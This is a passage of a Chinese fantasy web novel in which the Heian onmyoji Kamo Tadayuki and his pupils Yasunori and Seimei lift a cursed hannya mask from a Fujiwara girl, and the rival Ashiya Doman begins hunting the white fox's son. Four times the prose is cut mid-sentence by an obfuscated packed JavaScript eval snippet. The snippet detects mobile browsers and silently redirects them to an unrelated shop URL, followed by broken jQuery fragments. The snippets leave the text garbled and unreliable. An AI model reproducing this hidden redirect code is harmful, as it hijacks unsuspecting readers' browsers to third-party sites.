还没等贺茂保宪反应过来,贺茂忠行已经捏出了一个法诀,道声:“缚”,那“鬼”便像是双腿被什么人捆住了似的,它倒是还想跑,奈何腿脚不利索,一跤绊倒在地,再也爬不起来。 “不是叫你们看住她吗?怎么能让她跑出来!”看到“鬼”被控制住,藤原兼家松了口气,然后对那几个男孩子发起了脾气。 几个少年沉默不语,只有其中年纪稍小一些的少年答道:“现在妖怪寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460583|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿在小妹身上,这妖怪想跑,我们几个哪儿拦得住啊。”说着,他往贺茂忠行身上看了一眼,又说:“阴阳师大人不是来了嘛,小妹的事很快就能解决,您何苦骂我们。” 那少年这么一说,藤原兼家才记起来贺茂忠行在这儿,他这些天被闹得心力交瘁,连带着脑子都不那么好用了。 “贺茂大人见笑,犬子藤原道长,从小就没什么规矩。”藤原兼家头疼地揉了揉眉心,又转过头去对那几个少年说:“去把你们妹妹抬到屋里去,让这位贺茂大人好好瞧瞧。” 这种事不好叫仆人插手,因此一直是藤原兼家和他的几个儿子料理这个带上了面具就摘不掉的女孩子。 几个少年互相看了看,年纪最大的那个主动过去背起了那个小女孩,其他人则帮忙按着她不断挣扎扭动的身体。 “白天也闹?多长时间了?”没头没尾的一句问话,藤原兼家却听懂了,想了想,答道:“是从昨天开始的。昨天之前,她都只是晚上闹,大吵大嚷,还拿着锤子和钉子要往树上钉……”藤原兼家想起那个景象,不由得打了个寒噤。 “等到了白天就和正常人无异了,但从昨天开始,她忽然疯了似的要跑出去,力气大得吓人,拦也拦不住,我们只能把她绑在家里。今天……连绳子都被她挣断了。”藤原兼家没再说下去,因为今天的事,贺茂忠行已经看到了。 “晚上?她钉钉子的时间是不是在丑时?”贺茂忠行听到藤原兼家的话,心中微微一动。 丑时,午夜一点到三点之间。 “正是!贺茂大人如何得知?” 贺茂忠行没答,说话间,他们已经走到了安置那个小女孩的房间,她躺在那儿,口中发出含混不清的咆哮声。 贺茂忠行半跪下来,俯身查看她——藤原绥子的情况,然后他说:“再晚一天,怕是就不成了。” 藤原兼家一惊,忙问:“这是怎么说?” “她正在进行从丑时之女到般若的转化。”贺茂忠行试着拨了拨藤原绥子脸上的面具,那张狰狞的鬼面就像长在她脸上一样,纹丝不动。 “等到她完全变成般若的时候,那就回天乏力了。”贺茂忠行淡淡地说:“藤原大人不如好好想想,平日里是不是得罪了什么人。” 贺茂忠行话里暗示的意味很明显,藤原兼家更不是傻子,自然听得懂。 这是有人下咒暗害他的意思了。 贺茂忠行点到为止,没再提起这话,宫廷之上暗潮汹涌是常事,谁都难免深陷其中。 “保宪,晴明,你们俩都过来。”贺茂忠行叫来两个弟子,叫他们去看藤原绥子脸上的那张鬼面具。 直到这个时候,贺茂保宪才刚刚看清楚了藤原绥子这个人。 她身上穿着繁复华丽的十二单衣,年纪似乎和晴明相仿,身材纤细。 不过,贺茂保宪的注意力几乎都被她脸上的那张恶鬼面具给吸引了过去。 那张面具上,刻印着无数细细密密的咒文! 9. 第九章:般若面 贺茂保宪往日随同贺茂忠行驱鬼和主持仪式的时候,没少见过外形狰狞可怖的面具,但是那些面具从没给过他如此浓重的、不详的感觉。 那张血红色的鬼面具空洞的瞳孔似乎一直死死地盯着他看,即使它并没有真正的瞳孔,但他无论怎样都躲不开那两道冰冰冷冷的视线。 “现在知道为什么这附近看不到阴气了吗?”贺茂忠行一边画符,一边问贺茂保宪和晴明两人,他总是喜欢在这个时候考核他们两个,也不管请他来驱鬼的人家在旁边看了会不会因此而感到不自在。 贺茂保宪答得很快:“因为阴气全部被封在了面具里,以便于利用阴气害人,此事是阴阳师所为。” 而晴明没作声,他盯着那张鬼面具,似乎有点迷茫,他问:“妖会杀人,人也会杀人吗?” 妖杀人是天性,那人杀人又是为了什么? 贺茂忠行听见晴明的话,长叹一声,把画好的符往鬼面具的额头上一按:“这种事情并不鲜见,等你见得多了,也就习惯了。”说完,他低声念诵起了咒语。 晴明这个孩子心太善,而且敏感太过,这样的性格大概是不适合成为阴阳师的。 即使天赋能让他获得很高的成就,但他依然不适合。 能够行走在阴阳之间的人,不该有一颗纤细敏感的心。 不过事到如今,再叫晴明放弃阴阳道也晚了,贺茂忠行只能这样将错就错下去。 随着贺茂忠行念咒速度的逐渐加快,鬼面具的嘴缓缓张了开来,一条五色斑斓的小蛇慢悠悠地从里面爬出。 藤原兼家在一旁看着,不由得倒抽了一口凉气,他没法想象那些天里,这条蛇就藏在这张面具里面,和他的女儿呆在一处。 贺茂忠行也不惊动那蛇,继续念咒,眼睛瞟着它,等待蛇完全从面具里爬出来的那一刻。 终于,蛇的尾巴尖也离开了面具的嘴巴,贺茂忠行一边继续念着咒语,一边闪电般出手,眼看就能捏住那蛇的七寸! 然而,贺茂忠行的手落空了,就在贺茂忠行伸出手的一瞬间,小蛇像是听到了什么人的召唤一般,闪身又钻进了面具的其中一个眼洞。 “糟了!”贺茂忠行脸色一变,然而此时再去念咒已经来不及,因为原本受了贺茂忠行阴阳术束缚,躺在地上动弹不得的藤原绥子突然翻身坐了起来,一把撕掉了贺茂忠行刚刚贴在面具上的符咒! “绥子!” 藤原绥子低着头,阴森森地笑了起来,尖声尖气地念叨着:“汝负我命,我还汝债。以是因缘,经百千劫,常在生死;汝爱我心,我怜汝色。以是因缘,经百千劫,常在缠缚……”声音尖利刺耳。 随着这种异变,她脸上的鬼面具似乎也发生了变化,时而化成一张惨白却艳丽的女人面孔,时而变回面具原样。 “滚出去!”贺茂忠行勃然大怒,高声喝骂,同时手结法印,口中念念有词:“五帝庇护,何鬼不走,急急如律!” 贺茂忠行连念几遍,藤原绥子总算是又安静了下来,但是那条蛇却怎么也不肯再出来了。 “贺茂大人,这……”藤原兼家不懂阴阳术,但也看得出来这是驱鬼失败了。 贺茂忠行擦了擦额头上的冷汗,皱眉道:“给您女儿下咒的这个阴阳师能力大概不在我之下,看来对方是一心要咒你们死了。” “般若和丑时之女一体双魂,白天是食人的般若,到了夜里就化成扎草人钉咒钉的丑时之女。”贺茂忠行在藤原绥子身边盘膝坐下来,手指节轻轻叩了叩那张鬼面具:“这是般若面,上面被人下了咒,只要女子带上这面具,就必然会被转化为鬼。等到完全转化成功的时候,以般若的能力,即使是将你们灭门也不是难事。” “前几日她夜里钉钉子的时候,就是在诅咒你们了,好在你们及时发现了她的举动。”贺茂忠行见藤原兼家脸色不好,又解释了一句:“如果丑时之女钉咒钉的时候被人看见的话,诅咒的力量就会减弱,更何况她现在还不是完整的丑时之女,诅咒能力不强,藤原大人完全可以放心。” 一体双魂,这就是他占卜到的“二鬼”吗?晴明透过藤原绥子的身体,看见了两只模样完全不同的鬼。 一个是头戴铸铁铁环,铁环上插着三根燃烧着的蜡烛的丑时之女,另一个则是头生双角,四颗尖利的獠牙刺破嘴唇的恶鬼般若。 “解咒不难,但要请藤原大人帮个忙。”贺茂忠行郑重道:“刚才那条祸蛇突然逃走,证明给面具下咒的阴阳师已经发现了我解咒的举动。我想既然对方能下这种阴毒的恶咒的话,必然也不是什么良善之辈,恐怕不会轻易放过藤原大人您,大概也会很快找上我来。” “而在平安京中,据我所知,并没有实力与我相当、下得了这种恶咒的阴阳师存在。”贺茂忠行稍稍有些自得地一笑,说:“我想请藤原大人帮我留心一下,若有什么生面孔、能力很强的阴阳师出现,那很有可能就是下咒之人了。” 藤原兼家点头应了下来,贺茂忠行这才摸出了一张白纸剪成的动物,低声念了句咒,白纸落到地上,化成了一只长着两条尾巴的黑猫。 猫又。 猫又刚一显形就炸起了全身的毛,弓起背,如临大敌地死死盯住了藤原绥子,口吐人言:“贺茂大人,你从哪找来的,阴气这么重?” “给我把面具撕了,小心别伤了人。”贺茂忠行想了想,又说:“这次的面具可以给你吃。” 猫又不耐烦地啧了一声:“真是个无趣的男人,就伤了又能怎样——别老是当我什么都吃,这面具上沾满了你们阴阳师的臭味,我才不吃这种东西。”说着,猫又依令扑了上去,利爪从爪垫里伸出,一爪就撕碎了面具,那条祸蛇从面具的残片中掉出来,它也被猫又的爪子扯成了两截,那半截蛇身还在地上扭动。 猫又玩心大起,伸出爪子拨弄起蛇来,贺茂忠行也不理它,由着它玩。 横竖它是个式神,就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460584|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被蛇咬了,这种针对人类而下的咒也根本伤害不到它分毫。 面具被撕开了,藤原绥子的脸就露了出来,她是个很清秀的女孩子,年纪约在十岁左右,脸上并没有被猫又抓伤。 贺茂忠行微微松了口气,还好,猫又还肯听话。 他一向知道他这个式神猫又是个阴奉阳违的脾性,不过有他们之间的式神契约在,他自信能够降伏得住它。 藤原绥子微微睁开眼睛,昏昏沉沉地唤:“母亲大人,我饿……”这些天里,因为这张面具,她几乎滴水未进。 “好了,调养几天就没事了。”贺茂忠行又检查了几遍,直到确认她身上完全没有了阴气才起身笑道:“藤原大人不必担心了,告辞。”说完便要走。 “贺茂大人,请等一下!”藤原兼家犹豫了一下,叫住了贺茂忠行。 “藤原大人还有什么想说的吗?”贺茂忠行笑意吟吟地转回身来,并不显得意外,好像被叫住这件事完全是在他意料之中。 “您刚才是说,那个对我们家下咒的阴阳师很有可能会继续针对我们?”藤原兼家一想到这件事就冷汗直冒,他实在不想再经历类似的事了。 贺茂忠行点头说:“不论这个阴阳师是受雇于人还是出于其他的什么原因,既然他会对你们下这样的恶咒,那他这一次没有成功的话,很有可能会再想其他办法的。” “就没有办法彻底阻止他吗?”藤原兼家的情绪近于歇斯底里,他刚刚考虑了一下,他身居高位,想他死的人太多了,任何一个人都有可能害他。 他不怕任何人在朝堂之上对他下绊子,但是涉及到这些神鬼之事,他一个不留神,就会连自己是怎么死的都不知道。 “这个嘛,”贺茂忠行似乎有点苦恼,摸出折扇轻轻敲了敲自己的下巴,说:“如果能知道这个下咒的阴阳师是谁的话,哪怕只是知道一个名字,那就好办多了。” “我会去注意的!另外,请贺茂大人务必想办法保护我和我的家人!”藤原兼家一边说,一边深深鞠了一躬,半天都没有直起身子。 贺茂忠行伸手扶起藤原兼家,说:“这个自然,我画几张符咒给你吧,时时带在身上,可除灾厄。另外,今后如察觉到任何异常,立刻来找我,绝不能拖延。” 藤原兼家连连点头。 当贺茂忠行离开藤原兼家的府邸,坐上牛车的时候,他脸上的笑容终于收不住了。 这次卖给那位藤原兼家一个人情,想来从今以后,藤原兼家必定是会站在他这一边的了。 他早就得到了天皇的信任,而藤原兼家手中握有的权力不亚于天皇,等到贺茂保宪和安倍晴明这两个孩子长起来的时候,阴阳师中间就没有人能撼动他的位置了。 等到那个时候,他倒要看看,还有谁敢在他面前提他不是贵族出身这件事! 牛车慢慢走着,轿子侧面的帘子忽然被晴明掀开,他问:“贺茂师傅,我可以回家去住几天吗?” 10. 第十章:桔梗印 就在贺茂忠行替藤原兼家的小女儿驱过鬼之后不久,类似的事件就开始不断地找上了贺茂忠行。 不过很奇怪的是,这与贺茂忠行预想中的不一样,那个藏在暗中下咒的阴阳师似乎放弃了藤原兼家,没再对他们下咒,转而去找起了藤原兼家的邻居的麻烦。 住在那附近的都是平安京中位分不低的贵族,他们自然也都知道贺茂忠行盛名,纷纷来找贺茂忠行为他们驱鬼,搞得贺茂忠行分身乏术,极为头痛。 下恶咒的阴阳师路数诡谲难测,有时候就连贺茂忠行一时也想不出最合适的解咒方法。 倒是可以再叫式神猫又帮忙,但是说到底,式神是妖,究竟是对人类具备一定威胁性,不到万不得已的时候,贺茂忠行都不愿动用式神。 “平安京大概是要乱了。”贺茂忠行某天深夜站在庭院里,仰望着满天星斗,叹道。 他自幼精通观星测位之术,此时看得明白,漫天星光璀璨,唯独代表着平安京的这一片黯淡无光,这绝不是什么祥瑞之兆。 贺茂忠行给保宪和晴明两人都加了不少课业,保宪倒是学得兢兢业业,一刻不敢放松,但晴明还是他那副老样子,时常偷溜出去看贺茂忠行庭院里成团成簇的桔梗花。 可是即便这样,每次贺茂忠行考较他们两人的功课的时候,晴明的表现也并不比保宪差多少。 这就是天赋的差距了,阴阳一道,最重天赋。 而晴明身为狐妖之子,与万物一样身具灵性,天赋之高自然不言而喻。 “喂,晴明!那花到底有什么好看的?”保宪从一堆需要他抄记的符咒中抬起头来,大声问独自抱膝坐在庭院里看桔梗花的晴明。 晴明背对着保宪,听见他的问话也没回头,伸出手去,摘下了一朵蓝色的桔梗花,仰面躺下来,把桔梗花举到眼前,眯起眼睛入迷地看着那朵花。 “师兄,你看它的形状,你什么都想不到吗?”说着,晴明把花贴到了唇边,轻声念了句咒,松开手,那朵花便飘飘忽忽地飞到了保宪那边。 保宪一扬手抓住那朵花,花原本就是脆弱之物,被晴明摘下来,又被保宪毫无怜惜地一抓,它便破碎了。 保宪把花随手放到了一边:“最普通的桔梗花而已,这能想到什么?” “我记得贺茂师傅为了除掉它们,花了不少心思吧?”晴明微微一笑,翻身坐起,眼睛里亮晶晶的,少年人的活力显现了出来。 “不仅用火烧过一遍,还细细地翻了一遍土,甚至连阴阳术都动用了。可是现在你看,这些花还在这里。”晴明站起身来,连身上沾上的沙土都顾不上拍掉,就窜到了保宪身边。 “你到底想说什么?”保宪一看见晴明这个样子就头疼,只得替他拍了拍衣服,把衣服上的沙子抖落下去。 “这说明有些东西是可以胜过阴阳术的!”晴明抓起笔,运灵力在符纸上画出了一个桔梗花的形状,他把桔梗花的花型简化为五芒星,由于施加了灵力,五芒星闪烁着淡淡的、金色的光芒。 晴明捏着那张画着五芒星的符纸,四处看了看,恰巧一只飞燕翩然飞近檐前,晴明见了,便笑道:“不如看看我这张符咒,能不能困得住这只飞燕吧。” 说着,晴明道声:“缚”,扬手把符纸朝燕子身上丢了过去。 燕子敏捷地闪身避开,可那符咒如影随形地追了上去,一时间,只见得一道黑色的残影在空中辗转躲避,而符咒紧紧缀在它身后,速度竟然并不比它慢多少。 燕子是活物,终究会累,这场追逐并没有持续多久,很快,那张符咒便带着被它缚住、动弹不得的燕子飞了回来。 晴明一伸手,轻轻接住了燕子,抚了抚燕子头上的羽毛,撕去符咒,张开手掌,燕子便张开翅膀,似一道紫电一般,倏忽间就不见了。 “如何?”晴明笑得眯起了眼睛,带着些狡黠的得意。 微风拂过庭院,蓝色的桔梗花随之轻轻晃动,引起了一阵极细微的沙沙声,仿佛群花的私语。 “我叫它……”晴明偏过头,朝保宪一笑,少年意气尽显:“桔梗印。” “好厉害,这是怎么做到的?”保宪微微瞪大了眼睛,从晴明手中接过桔梗印仔细端详。 “谁知道呢?不过,这重要吗?”晴明稍微歪了歪脑袋,笑说:“我们只需要知道,桔梗印可以辅助阴阳术使用,而且还能够加强它,这就可以了。” 等贺茂忠行驱鬼回来之后,连他也不得不感叹晴明的天赋和直觉。 直觉这种虚无缥缈的东西往往于阴阳一道更有利些。 这种能力与生俱来,不是仅靠努力就能轻易弥补的。 在天赋方面,保宪一直不如晴明,关于这一点,贺茂忠行一开始就心知肚明。 甚至可以说,如果不是晴明性子懒散,保宪这辈子都不可能追得上晴明的步伐。 在那之后不久,晴明又回了一趟家,在自家的各处屋门上都画了防御妖邪恶鬼和隐匿作用的桔梗印。他的家距离藤原兼家的宅子也很近,保不准那个乱下咒的阴阳师哪天一个不高兴,就会把恶咒施在安倍益材身上。 当然,晴明在做这件事的时候,他还是在说:可不能让明美被阴阳师给害了。 不过他这话经不起推敲,毕竟谁都知道,没有阴阳师会对座敷童子下索命的恶咒的。 晴明还给了安倍益材一大叠画好的符咒,仔仔细细地把每一种符咒的区别和用法都告诉给他父亲。 最后晴明又在自己家的宅院外布下了一层结界,结界只能抵御一些低级的妖鬼入侵,但这已经是晴明现在能完成的、最好的结界了。 如果不是贺茂忠行这阵子太忙,晴明原本是打算求贺茂忠行来帮忙布置结界的。 做完了这些之后,晴明好像终于放心了,又回到了贺茂家,但他始终不肯承认自己做这些究竟是为了谁。 好在晴明担心的事情一直没有发生,不知是那个下恶咒的阴阳师恰巧略过了安倍益材的院子,还是桔梗印真的起了作用。 贺茂忠行近日则越来越头疼,其一是平安京中恶鬼害人之事层出不穷,其二,那个藏在暗中下恶咒的阴阳师终于露了面,由藤原兼家的政敌们举荐,大摇大摆地出现在了天皇面前。 那人名叫卢屋道满,没有任何师承,自称是于山野之间偶然悟道,自成一派。 他倒是坦坦荡荡,好像什么都没做过似的,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460585|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他身上的那股因常年修习阴阳邪术而形成的阴气却瞒不住贺茂忠行。 卢屋道满就是在平安京里四处下恶咒的阴阳师,贺茂忠行很确信这一点,可惜他办法证明这件事,只靠着一个莫须有的阴气是没办法让人信服的。 更何况天皇看起来对卢屋道满很感兴趣。 倒是没人提过要贺茂忠行和这个新来的卢屋道满一较高下,但在贺茂忠行与藤原兼家正交好的时候,藤原兼家的政敌搞这一出,明眼人都看得出来,这是要扶植卢屋道满与贺茂忠行作对了。 卢屋道满此人生得瘦骨嶙峋,显得有些奸诈,皮肤既黑又十分粗糙,倒是很有自小生活在平安京之外的山民的样子。 等下了朝,卢屋道满和贺茂忠行表面上的和睦很快就维持不住了,倒不是贺茂忠行非要去找卢屋道满的麻烦,而是卢屋道满主动凑过去,问了贺茂忠行一个问题。 他问:“贺茂大人,前些年,平安京里来了一只白狐,这件事你知道不知道?” 贺茂忠行的神经立刻就绷紧了。 白狐? 一个住在平安京外的山民怎么会知道这样的事? 卢屋道满误解了贺茂忠行的沉默,他笑了,带着挑衅的意味:“原来这世上还有连大阴阳师贺茂忠行都不知道的事情。” “没关系,我自己找,总能找到的。”卢屋道满用粗大的手指骨节敲了敲自己的太阳穴,说:“我的占卜结果告诉我,和那白狐有关的人就躲在平安京里。” “贺茂大人若是见着了白狐,可要记得同我说呀,我找它,已经找了十几年了。”卢屋道满低声笑了起来,笑声配上他那副尊容,模样像极了一只鬼。 贺茂忠行脊背上猛地窜上了一股寒意,他已经很多年没有产生过这样的感觉了,好像他面对的不是一个和他一样的阴阳师,而是一只在血海尸山中生活了一辈子的恶鬼。 他上一次感到恐怖的时候是在十多年前,那个时候,他正要诛杀一只存活了数十年、胡作非为的猫又。 那是他第一次真正见到食人的大妖怪。 猫又这种妖怪每过九年便会长出一条新的尾巴,每长出一条尾巴,妖力便会增强几分。而这只猫又,尾巴足有五条之多,身躯庞大得简直像一座小山。 贺茂忠行发现它的时候,它正玩老鼠似的玩弄一个刚刚捕来的幼童,把他放跑,又捉回来,反反复复,乐此不疲。 而在它身边,骸骨累累,都是人类的骨头。 他躲在一旁看着,全身冷汗淋漓。 贺茂忠行费尽了心力才终于杀掉了猫又,所幸被这畜生抓来的孩子还活着。 贺茂忠行正打算带孩子下山去,他没走几步,一边的草丛忽然动了动,一只纯黑色的幼猫从草丛里跌跌撞撞地爬出来,冲着猫又庞大的尸体喵喵直叫。 这很可能是猫又的孩子,年纪还小,或许性情经过教养之后,不会像它母亲那样凶残嗜血。 贺茂忠行一时动了恻隐之心,没杀那只幼猫,而是把它带了回去,等它长出第二条尾巴的时候,贺茂忠行就把它收作了式神。 但是现在,一个和他一样的人类也让他产生了同样恐怖的感觉,这怎么可能? 11. 第十一章:白狐与蜘蛛 “叔叔,叔叔。” 卢屋道满正观察着一户人家的门扇,忽然之间感到自己的衣角被人轻轻扯了扯。 他低下头,一个五六岁模样的男孩子仰着脑袋,冲他笑了一笑。 “什么事啊?小鬼头。”卢屋道满随口应了一声,揉了一把男孩子的头发。 小男孩踮起脚尖,把他们身边的一棵矮树指给他看,说:“叔叔可不可以帮忙把那只蝴蝶救下来呀?” 卢屋道满顺着小男孩手指的方向看过去,那树上结着一个蜘蛛网,一只色彩斑斓的蝴蝶被粘在了网上,徒劳地扑腾着翅膀。 蜘蛛网的高度对于成年人来说并不算高,不过是一抬手的事而已。 卢屋道满若有所思地望着那只蝴蝶和躲在一边以逸待劳的蜘蛛,忽然笑了一声,边笑边说:“小鬼你倒是心善啊,不过你想没想过,你究竟是救下了这只蝴蝶呢?还是害了这只蜘蛛?” 小男孩眨眨眼睛,似懂非懂。 “倒也不是救不得。”卢屋道满伸出手轻轻把蝴蝶从网上摘了下来,松开手指将其放飞了,继续说:“不过,还是要付出些代价的,这样对蜘蛛才公平。” 说着,他从怀里摸出了一把刀子,在自己手臂上割下了一片薄薄的肉,然后把沾着血珠的肉片挂在了蜘蛛网上。 蜘蛛闻声急切地爬了出来,贪婪地吸食起了那片肉表面沾着的血。 小男孩被卢屋道满的举动吓坏,转身跑开了。 “原来你知道这血是好东西呀?”卢屋道满也不在意,他抬起手,吸吮了一下流血的伤处,嘴唇也染上了血:“倒有几分灵性,不如就做我的式神吧。今后,我用血喂你。” 蜘蛛吸净了人肉的汁液,扯出一根晶莹的蛛丝,借着风力,落到了卢屋道满的衣服上。 这便是同意了。 卢屋道满想着自己要找的人,冷笑一声。 不急,他已经找了这么多年,不差这一时半刻。 他需要更多的式神来当他的眼线。 贺茂忠行只把卢屋道满在找白狐这件事情告诉给了他儿子贺茂保宪。 晴明还小,没必要让他知道这样的事,而且就算他知道了,对这件事也没什么益处,还不如不知道的好。 也怨不得贺茂忠行往晴明身上联想,毕竟,白狐原本就稀少,而十几年前出现在平安京的白狐恐怕也找不出第二只了。 而看卢屋道满的为人和态度,很显然,他找白狐并不是出于什么友好的目的。 贺茂忠行悄悄地给晴明和安倍益材的宅院都下了隐匿妖气的符咒,即便这样,贺茂忠行还是不放心,还特意嘱咐保宪平时多盯着晴明一些。 这一盯,他们才发觉,晴明平日里的不少举动都十分可疑,很容易叫人怀疑他是个妖怪。 贺茂忠行责骂了晴明几次,但晴明依旧我行我素,一点儿也不把贺茂忠行的话放在心上。 例如…… 仲夏之夜,逢魔之时,百鬼夜行。 每到接近黄昏的时刻,都是妖鬼最喜欢显形的时候,它们褪去了白日里的伪装,重新化身为鬼,在街道上横行无忌。 这就是百鬼夜行,这个时候,阴气最重,寻常人若是不慎撞见了这种景象,很有可能直接因为阴气入侵身体而死。 因此大家都尽量避免在这个时间出门,只有晴明例外,他似乎很喜欢在黄昏的时候悄悄溜出去。 贺茂保宪第一次发现晴明这种举动的时候,他没有惊动贺茂忠行,他尾随在晴明身后,想知道晴明到底打算做什么。 而让他心惊肉跳的是,晴明走出贺茂家的大门后不久,就放出了自己的狐狸耳朵和尾巴,混进了百鬼夜行的队伍。 这个时候的晴明,看起来就和一只真正的狐妖没什么区别。 虽然知道他不该这样怀疑从小和他一起长大的晴明,但保宪还是忍不住猜测晴明究竟认为哪一边是他的归属。 晴明混在千妖百鬼之中,好像显得很自在。 保宪不敢再看下去,也不敢细想。他回到了自家的大门前,坐在门口的台阶上等着晴明回来。 不知等了多久,保宪感到自己都坐得僵硬了,才听到晴明惊讶的声音:“师兄?” 晴明褪去了狐耳和尾巴,看起来和平常无异。 只有保宪知道,这个他熟悉的晴明身上,还着另一个、他从来不认识的妖怪“晴明”存在。 保宪慢慢站了起来,腿有些麻,他踉跄了一下,晴明要扶他,保宪一巴掌把晴明的手打到了一边。 “你去哪里了?”保宪有一肚子的话要说,但他最后只问出了这一句话。 提到这个,晴明立刻又兴奋了起来:“我去街上和他们玩,很有趣的……” “玩?和谁玩?和鬼?和妖怪?”保宪从来没有这样正颜厉色地跟晴明说过话,他一向是个很温和的人,但这一次,他是真的生了气。 “晴明,你是不是需要搞搞清楚,你到底是要做人呢?还是要做妖怪?”保宪这话刚说出口就后悔了,他原本不是这样想的。 他是在担心晴明的身份被卢屋道满发现,如果晴明继续这样毫无顾忌地露着耳朵和尾巴在外面闲逛的话,晴明的处境将会变得十分危险。 但或许在保宪心底,他更担心晴明会彻底变成妖怪,所以才会下意识地说出那样一句话。 而这句话惹了大麻烦,晴明的脸色迅速沉了下来。 “原来你也是这么想的。”晴明冷冷地说,同时赌气似的又幻化出了自己的狐狸耳朵,连妖纹也在他脸上浮现了出来。 “我没同你说过吧?我父亲一直很害怕我,自从我母亲离开之后,他甚至都不敢多看我一眼,可是我做错了什么?我母亲又做错了什么?”晴明盛怒之下,发间的狐狸耳朵微微抖动起来。 “好,我父亲害怕我,那我就不再去做那些‘不正常’的事,我可以伪装我是个‘正常人’,但这有什么用呢?他还是把我送到了这里。”晴明的胸口剧烈地起伏着,他大声说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460586|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了这里,我以为我可以不用隐藏什么了,但还是一样!师兄你,还有贺茂师傅,和我父亲没有任何差别!” “晴明!”贺茂忠行察觉到晴明的妖气波动,急忙赶了出来,厉声喝道:“把妖气给我收起来!” 同时,贺茂忠行迅速念咒张开结界,把晴明的妖气限制在结界之内,不令其外泄。 如果晴明的妖气被卢屋道满察觉到,那后果不堪设想。 “贺茂师傅,”晴明顺从地收起了妖纹和狐耳,不过眼神依旧有点冷漠:“您也认为我终有一日会背叛人类成为妖怪吗?” 贺茂忠行长叹一声,正打算说话,忽然脸色一变,从怀里摸出张符咒,口中低叱一声,将符咒猛地打到了旁边的墙角里。 明明空无一人的墙角响起了一声惨嚎,沉寂的夜里听来格外瘆人。 “保宪,去看看那里有什么。”贺茂忠行阴沉着脸。 保宪这才放下刚才拦在晴明身前的手臂,他刚才还以为贺茂忠行拿符咒是要对付晴明呢。 保宪依言去墙角查看,他找到了一只拳头大小的、浑身长着黑毛的大蜘蛛,已经死了,贺茂忠行的符咒钉在它身上,把它砍成了两半。 “是式神。”当保宪把蜘蛛的事告诉给贺茂忠行的时候,贺茂忠行的脸色很难看:“这个时候杀死它也晚了,这个式神多半已经把它听到的话传给它的主人了。” “进去说吧。”贺茂忠行长叹一声:“晴明,我接下来要说的事,很可能与你有关。” 贺茂忠行把他遇到卢屋道满的事原原本本地告诉了晴明。 最后他说:“我不知道那个卢屋道满要找的是不是你,但是你身为白狐之子,那你就该小心行事,无论如何,我都不希望你被任何阴阳师注意到,更不希望你被卢屋道满察觉到身份,卢屋道满那个人给我的感觉很不好,我猜不透他会做出什么事来。” 晴明这才冷静下来,向贺茂忠行深鞠一躬:“方才晴明有错,请老师责罚。” 贺茂忠行松了口气,又说:“我从未猜疑过你,也从没因为你的血脉质疑过你什么,你从小在我这里长大,应该很清楚这一点。” “是,晴明方才失言。”晴明安静地跪坐下来。 “如果刚才放式神来偷听的人是卢屋道满的话,那么现在说这些也晚了。”贺茂忠行头痛地摸出折扇,习惯性地轻敲了几下眉心:“这几天你哪里都不要去,在自己房间里呆着别出来,我来想办法对付卢屋道满。” 次日一早,卢屋道满果然找上了门,和贺茂忠行一见面,他就冷笑道:“贺茂大人果真厉害,亏我那天还拿白狐的事问你,原来这白狐之子就藏在你这儿!” 贺茂忠行微微一笑,脸色丝毫不变:“卢屋大人这话我就听不懂了,我这屋子里,除了仆人,就是我的两个徒弟,哪里有什么白狐呢?” “之前在这平安京里到处解咒的也是你吧?”卢屋道满作势就要结法印:“你不肯交出白狐之子,就不怕我对你下咒吗?” 12. 第十二章:入局 面对卢屋道满的威胁,贺茂忠行不慌不忙,微微一笑。 “我也是阴阳师,你敢对我下咒吗?”他说:“你能下什么咒,我就能解什么咒,你杀不了我。” 卢屋道满龇开满口黄牙,笑了,说:“那如果我把你的真名告诉我的式神,叫式神来杀你呢?” “这倒是个办法,不过……”贺茂忠行用折扇轻轻按了按勾起的唇角:“你怎么知道‘贺茂忠行’就是我的真名呢?” “如果来杀我的式神发现它找不到‘贺茂忠行’这个人,那它会做出什么事来?”贺茂忠行轻笑:“这个后果,我相信你是很清楚的。” “……”卢屋道满像是被难住了,沉默不语。 